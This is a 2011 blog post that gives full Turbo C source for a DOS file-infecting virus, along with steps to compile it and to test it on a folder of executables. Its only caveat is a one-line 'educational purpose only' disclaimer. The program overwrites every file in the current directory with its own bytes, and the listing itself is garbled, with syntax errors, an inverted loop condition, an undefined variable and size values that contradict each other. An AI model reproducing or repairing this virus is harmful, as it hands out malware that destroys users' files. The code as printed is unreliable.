How To Create Virus in C

Hi,here we will discuss about how to create a virus program in C language and execute.So first we want to know about what is Virus?.Computer virus is a computer program that can  copy itself and infect a computer.A virus can spread from one computer to another through different medias(internet,removable media-floppy,USB drive,CD,DVD).
Here i published a simple virus program to show how  to create virus in C.

WARNING:FOR  EDUCATIONAL PURPOSE ONLY.NOT MISUSE.

SOURCE CODE:

#include<stdio.h>

#include<conio.h>

#include<io.h>

#include<dos.h>

#include<dir.h>

#include<time.h>

FILE *virus,*host;

int done,a=0;

unsigned long x;

char buff[2048]

struct ffblk ffblk;

clock_t st,end;

void main()

{

st=clock();

clrscr();

done=findfirst(“*.*”,&ffblk,0);

while(!done)

{

virus=fopen(_argv[0],”rb”);

host=fopen(ffblk.ff_name,”rb+”);

if (host==NULL) goto next;

x=89088;

printf(infecting %sn”,ffblk.ff_name,a);

while(x<2048)

{

fread(buff,2048,1,virus);

fwrite(buff,2048,i,host);

x-=2048;

}

fread(buff,x,1,virus);

fwrite(buff,x,1,host);

a++;

next:

{

fcloseall();

done=findnext(&ffblk);

}

}

printf(“DONE!(total files infected=%d)”,a);

end=clock();

printf(“TIME TAKEN=%f SECn”,(end-st)/CLK_TCK);

getch();

}

COMPILING METHOD:

1.Copy the virus source code into compiler(Borland tc++ 3.0).press Alt+F9 to compile.

2.Press F9 to generate the EXE file(DO NOT PRESS CLT+F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORIES. )

3.Note down the size of generated EXE files in bytes(click the properties of EXE file for note down the size)

4.Change the value of x in the source code with the noted size(IN THE ABOVE SOURCE CODE X=88089,CHANGE IT)

5.Once again follow the step1 and step2.Now the generated EXE file is ready to infect

HOW TO TEST THE WORKING OF VIRUS:

1.Open new empty folder

2.Put some EXE files(By searching for *.EXE in search and pasting in the new folder)

3.Run the virus EXE file.There you will see all the files in the current directory get infected

4.All the infected files will be ready to reinfect.

For more virus programs Click HERE

Posted on June 7, 2011, in Create Virus in C and tagged , , , . Bookmark the permalink. Leave a comment.

Leave a comment